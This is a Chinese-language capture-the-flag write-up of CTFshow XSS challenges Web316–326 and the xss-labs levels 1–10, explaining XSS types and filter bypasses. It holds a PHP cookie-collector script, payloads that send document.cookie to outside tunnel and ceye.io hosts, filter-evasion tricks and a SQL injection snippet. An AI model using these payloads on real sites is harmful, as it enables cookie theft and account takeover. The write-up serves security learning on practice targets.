文章目录
CTFshow
Web316
在PHPstudy上创建本地网站index.php,代码如下:
<?php
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>
- 注册Cpolar并创建一个本地IP与公网IP的映射
Cpolar官方文档 - 执行payload语句
<script>window.location.href='http://(你映射的IP地址)/index.php?c='+document.cookie</script>
window.location.href:这是JavaScript中的一个属性,用来获取或设置当前页面的URL。当设置这个属性时,浏览器会跳转到指定的URL。
- 打开flag.txt文件,可以发现已经得到了flag
Web317 过滤script
过滤了script、大小写混用绕过也被过滤
<body onload="window.location.href='http://fe6e643.cpolar.top/index.php?c='+document.cookie">
当用户加载这个网页的时候,Onload标签立刻触发,其他的逻辑跟上题一样
<img src='#' onerror="window.location.href='http://2e48661a.r12.cpolar.top/index.php?c='+document.cookie">
img 标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。
Web318~Web319 过滤img
过滤了img
采用上题第一种方法即可绕过
Web320~Web326 过滤空格
过滤了空格,改用 %0a 绕过。
或者用/和/**/
<body/**/onload="window.open('http://h9izlh.ceye.io/'+document.cookie)">
xss-labs
前置知识
- 攻击者向Web页面里面插入恶意脚本(JS代码),当用户浏览该界面时,Web页面中嵌入的恶意代码会执行,从而达成恶意攻击用户的目的,因此,XSS针对的是用户层面的攻击。
因此,XSS攻击的两个必要条件是:
- 攻击者提交XSS恶意代码-输入
- Web页面的恶意JS代码能被执行-输出
- XSS分类
-
反射型
非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型。 -
存储型
持久型,常见的就是在博客留言板、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端(数据库、内存、文件系统等),每次访问都会触发恶意代码。 -
DOM型
DOM型XSS其实是一种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS靠的是浏览器的DOM解析,完全是客户端的事情。
DOM中有很多对象,其中一些对象可以被用户所操纵,如url、location等。客户端的脚本程序可以通过DOM来动态检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。
基于DOM的XSS是反射型的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。
本文所使用的所有构造XSS的语句:
<script>alert(1)</script>
#' οnclick='alert(/xss/)
"> <a href=javascript:alert()>xxx</a> <"
#' οnmοusemοve='alert(/xss/)
<img src=## οnerrοr=alert(document.cookie)>
<a onmouseover=alert(document.cookie)>点我点我</a>
等等
更多的:XSS常用触发标签
Less-1 反射型XSS alert()
观察源码以及网站payload,我们可以构造Payload来插入JS向服务器发起一个GET请求,从而造成反射性XSS
Less-2 XSS绕过
继续使用刚才的方法,发现XSS不成功
检查源代码,发现<>被转义了:< (小于) 成为 ‘<’; > (大于) 成为 ‘>’;但是下方input标签内的value没有进行转义,可以针对他进行构造
查看源码,确实进行了转义
注:在PHP中,有 htmlentities() 和 htmlspecialchars() 两个函数可以满足安全要求:
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
针对下方的JS语句进行构造,闭合<>
Less-3 单引号事件绕过
先注入一段JS试试,发现两处皆被转义了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onclick事件绕过
针对input标签,首先闭合前面的单引号,再闭合后面的单引号,实现绕过
再次点击,XSS注入成功
相同的方法还有
#' onmousemove='alert(/xss/)
' onfocus=javascript:alert() '
等等,思路都是绕过HTML"<>"的实体化
Less-4 双引号事件绕过
同样先输入一段XSS代码试试水,发现源码中<>被删除了,不同之处在于 value属性 使用的是双引号
输入payload绕过成功!
Less-5 标签插入绕过
这里script被替换成了scr_ipt
这里on被替换成了o_n
那么我们可以构造一个a标签(链接):"> <a href=javascript:alert()>xxx</a> <"
点击“点我点我”即可绕过
Less-6 大小写绕过
查看源码,发现之前使用的方法里的关键字都被过滤掉了
可以使用大小写绕过
轻轻一点,绕过成功!
Less-7 双写绕过
输入<script>alert(1)</script>
结果变成了如下形式,猜测Web做了关键字删除操作,我们使用双写绕过
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
构造"><img ssrcrc="955" oonnerror=alert(1)><"
绕过src和on的关键字过滤
Less-8 编码绕过
使用JavaScript:alert(1)不成功,经过几次尝试,大小写绕过以及双写绕过都失败了
查看源码可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数还过滤掉了src、data、onfocus、href、script、"(双引号)哭~
这里用一个新方法—编码
三种绕过思想:
-
URL编码
在浏览器中输入一个链接,浏览器会对非保留字符进行URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29,普通的URL编码可能无法实现绕过,需要结合实际场景来判断。 -
十六进制编码
如SQL注入中
mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,
(select password from users where first_name=0x61646d696e),0x7e)));
- Unicode编码
形式:“u”或者是“%u”加上4位16进制Unicode码值。
利用href的属性
javascript:alert() 通常出现在 HTML 超链接的 href 属性中,用来执行一段 JavaScript 代码。
我们可以利用在线工具进行和Unicode编码
构造payload:javascript:alert(1)
成功绕过!
Less-9 指定内容检测绕过
输入上一关的代码,嗯?怎么肥事
检查源码
在前面加上http://试一下
OK,知道咋回事了
将其放到后面注释掉,即可通关
Less-10 隐藏的参数
检查源码发现三个隐藏项
测一下试试
t_sort成功接受到值
接下来就直接插入JS了,简单明了